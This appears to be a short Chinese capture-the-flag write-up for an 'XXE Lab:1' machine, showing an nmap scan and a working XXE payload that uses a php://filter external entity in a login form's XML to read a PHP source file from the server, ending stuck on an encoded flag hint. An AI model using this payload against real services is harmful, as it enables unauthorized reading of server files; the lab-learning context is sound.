1. 程式人生 > >XXE Lab:1題解

XXE Lab:1題解

思路

題目已經提示是XXE的專項練習,所以,直接找XXE問題.

難度

入門

埠掃描

nmap -sS -A 10.129.10.64

發現HTTP服務、Apache 2.4.27中介軟體、robots.txt洩漏了目錄和檔案
XXE Lab:1題解

80埠檢查

其中,/xxe/index.php頁面通過xml格式提交使用者名稱和密碼,於是,此處即為XXE所在位置。
構造如下payload,讀取頁面原始碼,獲得一不知是flag還是flag Hint的內容:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/flagmeout.php">]>
<root><name>&admin;</name><password>123</password></root>

響應:

<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->

於是,陷入矇蔽。。。。等待作者反饋中